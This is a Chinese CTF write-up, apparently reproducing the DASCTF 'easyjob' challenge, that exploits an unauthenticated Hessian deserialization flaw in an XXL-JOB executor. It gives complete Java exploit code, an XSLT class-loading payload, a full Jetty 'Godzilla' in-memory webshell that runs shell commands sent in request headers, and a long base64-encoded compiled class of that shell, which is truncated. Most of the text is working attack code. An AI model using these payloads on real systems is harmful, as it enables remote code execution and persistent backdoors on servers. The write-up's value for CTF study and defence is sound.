dasctf暑期挑战赛easyjob复现


这次java意外地能查到资料.jpg,然后以为得用jndi打,就不是很想做。哎,没想到不出网,淦。还有个很几把神经的原因就是十个靶机我全都打不开,摆了

jadx怎么说

老样子,打开jadx反编译附件,发现是xxl-job,不是常规的序列化反序列化。

欸,去搜一下是什么东西,发现他是一个深度学习的框架,可以类比成cms之类的玩意。既然是一个现有的框架,那就直接搜搜他的漏洞:

XXL-JOB executor 未授权访问漏洞-CSDN博客

刚开始是找到这个,众所周知csdn的东西不是很靠谱,然后就去找了另外一个:

XXL-JOB在真实攻防下的总结 - 先知社区 (aliyun.com)

是的,在这里就已经能看见wp里的答案了

当时没怎么细看,可惜了

然后再找了一个:

xxl-job-admin反序列化漏洞

确定就是hessian+xxl-job的组合拳。并且都是这个api的未授权洞。

但是他们的打法都是根据出网的jndi打的,本人jndi这方面比较垃圾,就不是很想做。。。

但是它确实不出网。那就来研究不出网的打法:

不出网怎么打

就是利用xslt去注入内存马:

记一次曲折的XXL-JOB API Hessian反序列化到Getshell

其中介绍到的xslt的gadget在jdk8下通杀,且为高可用payload。利用到了com.sun.org.apache.xalan.internal.xslt.Process_main方法去加载恶意的xslt文件,我们可以在xslt文件内部执行任意语句,并且不受限。

给出一个xslt的模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/>
<xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
<xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/>
<xsl:value-of select="$rce"/>
</xsl:template>
</xsl:stylesheet>

Nookipop师傅的文件讲的很清楚了,走两次反序列化:

这是第一次,写入xslt的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class HessianProxyLVFileWrite {
public static void main(String[] args) throws Exception {
//Pkcs9可以换成MimeTypeParameterList
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
//PKCS9Attribute.EMAIL_ADDRESS_OID 是固定的,调试流程可以看到逻辑
//去修改需要读取的文件,和写入的文件名,实例中是读取1.txt写入pwned.txt
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt",SerializeUtils.getFileBytes("E:\\payload.xslt")}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
FileOutputStream fileOut = new FileOutputStream("poc.ser");
Hessian2Output out = new Hessian2Output(fileOut);
fileOut.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(pkcs9Attributes);
out.close();
fileOut.close();
}
}

这是第二次,执行命令的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
//Pkcs9可以换成MimeTypeParameterList
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "E:\\payload.xslt"}}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
FileOutputStream fileOut = new FileOutputStream("poc.ser");
Hessian2Output out = new Hessian2Output(fileOut);
fileOut.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(pkcs9Attributes);
out.close();
fileOut.close();

}
}

改造一下改造回我们用的MimeTypeParameterList即可

给大家提供一个板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.Err0r233;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class exp {
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
" xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
" xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('classname',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>";
String base64Code = "There is a base64_template code here";
String xslt = xsltTemplate.replace("base64", base64Code);
xslt = xslt.replace("classname", "any_classname_here");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"1.xslt",xslt.getBytes()});
uiDefaults.put("aaa", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
SetValue(mimeTypeParameterList, "parameters", uiDefaults);
deser(ser(mimeTypeParameterList));
}

public static void SetValue(Object obj, String name, Object value) throws Exception{
Class clz = obj.getClass();
Field field = clz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static String ser(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
//允许反序列化NonSerializable
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

//触发expect:
baos.write(67);
hessian2Output.writeObject(obj);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static void deser(String b64String) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(b64String));
Hessian2Input hessian2Input = new Hessian2Input(bais);
hessian2Input.readObject();
}
}

可以看见执行之后确实有一个1.xslt

内容也变成了我们需要改掉的内容

ok了,这样就可以做第二步的rce,只用把SwingLazyValue改成这样就行:

1
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "xslt路径"}}));

复现

题目环境是不出网的,所以我们得找到一个适合的内存马,找内存马这事情得看框架。很明显他是一个jetty框架,所以说直接找一下jetty内存马,这个内存马找不到,只能抄一下wp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
package com.xxl.job.core;

import org.eclipse.jetty.server.*;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import sun.misc.Unsafe;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Scanner;

//author:Boogipop

public class JettyGodzillaMemshell extends AbstractHandler {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "username";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public JettyGodzillaMemshell() {
System.out.println(1);
}

public JettyGodzillaMemshell(int s) {
System.out.println(2);
}

static {
try {
HttpConnection valueField = getValueField();
HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();
Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");
mutableWhenRunning.setAccessible(true);
mutableWhenRunning.set(handler,true);
// handler.addHandler(new JettyHandlerMemshell(1));
Handler[] handlers = handler.getHandlers();
Handler[] newHandlers=new Handler[handlers.length+1];
newHandlers[0]=new JettyGodzillaMemshell(1);
for (int i = 0; i < handlers.length; i++) {
newHandlers[i + 1] = handlers[i];
}
handler.setHandlers(newHandlers);

} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}
private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for(int i=0;i<threads.length;i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for(int j=0;j<table.length;j++){
try {
//HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
//PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
//writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
//writer.flush();
Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
return (HttpConnection)value;
}
}
catch (Exception e){

}
}

} catch (Exception e) {

}
}
return null;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}

@Override
public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
try {
if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
base.setHandled(true);
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(result.getBytes());
outputStream.flush();
}
}
else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
base.setHandled(true);
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(md5.substring(0, 16).getBytes());
f.toString();
outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
outputStream.write(md5.substring(16).getBytes());
outputStream.flush();
return ;
}
}
} catch (Exception e) {
}
}
}

用java写一个post请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();

try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type

// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}

// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}

最后往/runpost就行了

附一张根本打不开靶机的截图.jpg

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package com.Err0r233;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class exp {
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();

try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type

// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}

// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}
public static void step1() throws Exception{
UIDefaults uiDefaults = new UIDefaults();
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
" xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
" xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('classname',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>";
String base64Code = "yv66vgAAADQCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBACRMY29tL0VycjByMjMzL0pldHR5R29kemlsbGFNZW1zaGVsbDsBAAQoSSlWAQABSQEACWdldFVuc2FmZQEAEygpTHN1bi9taXNjL1Vuc2FmZTsBAAZ1bnNhZmUBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAJdGhldW5zYWZlAQARTHN1bi9taXNjL1Vuc2FmZTsBAApFeGNlcHRpb25zAQANZ2V0VmFsdWVGaWVsZAEAKygpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbjsBAAV2YWx1ZQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWoBAA10aHJlYWRMb2NhbHNGAQALdGhyZWFkbG9jYWwBAAV0YWJsZQEAGltMamF2YS9sYW5nL3JlZi9SZWZlcmVuY2U7AQABaQEAC3RocmVhZEdyb3VwAQAXTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAx0aHJlYWRzZmlsZWQBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcBGgcBhgcBhwcBLgEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAmJzAQACW0IBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEAAXgBAAcoW0JaKVtCAQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAAVoHAX0HAYgBAAZoYW5kbGUBAIYoTGphdmEvbGFuZy9TdHJpbmc7TG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQAMb3V0cHV0U3RyZWFtAQAjTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAANjbWQBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAlkZWZNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAFmAQAEZGF0YQEABGJhc2UBACJMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1JlcXVlc3Q7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwcAzwcBiQcBigEACDxjbGluaXQ+AQAKdmFsdWVGaWVsZAEAKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAHaGFuZGxlcgEANExvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9IYW5kbGVyQ29sbGVjdGlvbjsBABJtdXRhYmxlV2hlblJ1bm5pbmcBAAhoYW5kbGVycwEAI1tMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0hhbmRsZXI7AQALbmV3SGFuZGxlcnMBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247BwEmBwF2BwDsBwGABwGDBwGEAQAKU291cmNlRmlsZQEAGkpldHR5R29kemlsbGFNZW1zaGVsbC5qYXZhAQADTUQ1BwGLDAGMAY0MAY4BjwwBkAGRDAGSAZMBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBlAGPDACaAZUMAZYBlwwBmAGZAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAmgCbAQAQM2M2ZTBiOGE5YzE1MjI0YQwAiQCKAQAIdXNlcm5hbWUMAIsAigEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAGaAZsMAZYBmQwAjACPDACMAIoHAZwMAZ0BngcBnwwBoACeAQAPc3VuLm1pc2MuVW5zYWZlDAGhAaIBAAl0aGVVbnNhZmUMAaMBpAcBhwwBpQGmDAGnAagBAA9zdW4vbWlzYy9VbnNhZmUMAKAAoQcBqQwBqgGrDAGsAa0MAa4BrwwBsAGxDAGyAbMBAAx0aHJlYWRMb2NhbHMMAbQBmQEAJ29yZy5lY2xpcHNlLmpldHR5LnNlcnZlci5IdHRwQ29ubmVjdGlvbgwBtQG2AQAnb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldEVuY29kZXIMAbcBuAcBuQwBugG7AQAOZW5jb2RlVG9TdHJpbmcBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIMAbwBvQEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQADQUVTBwGIDAGMAb4BAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDACaAb8MAcABwQwBwgHDAQALeC1mdWNrLWRhdGEHAcQMAcUAjwwBxgHHDAHIAckBAAdvcy5uYW1lDAHKAI8MAcsBmQEAA3dpbgwBzAHNAQACL2MBAAkvYmluL2Jhc2gBAAItYwcBzgwBzwGmAQARamF2YS91dGlsL1NjYW5uZXIHAdAMAdEB0gwB0wHUBwHVDAHWAdcMAJoB2AEAEFxBU0FEU0FEQVNEU0FEQVMMAdkB2gwB2wGZBwHcDAHdAd4HAd8MAeAB4QwB4gCbAQAIZ29kemlsbGEMAeMAjwwAwgDDDADFAMYMAI0AjgEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAMamF2YS9uZXQvVVJMDAHkAeUMAJoB5gEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzBwHnDAHoAI4MAekBuAwB6gHrAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAewB7QwB7gGPDAC6ALsMAewBlwwApwCoDAHvAfAHAfEMAfIB8wcB9AwB9QH2AQAyb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb24BABNfbXV0YWJsZVdoZW5SdW5uaW5nBwH3DAHqAfgMAfkB+gwB+wH8AQAgb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0hhbmRsZXIBACJjb20vRXJyMHIyMzMvSmV0dHlHb2R6aWxsYU1lbXNoZWxsDACaAJ4MAf0B/gEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDACaAf8BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAwb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAC2dldEluc3RhbmNlAQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEACGdldEJ5dGVzAQAEKClbQgEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBAAh0b1N0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3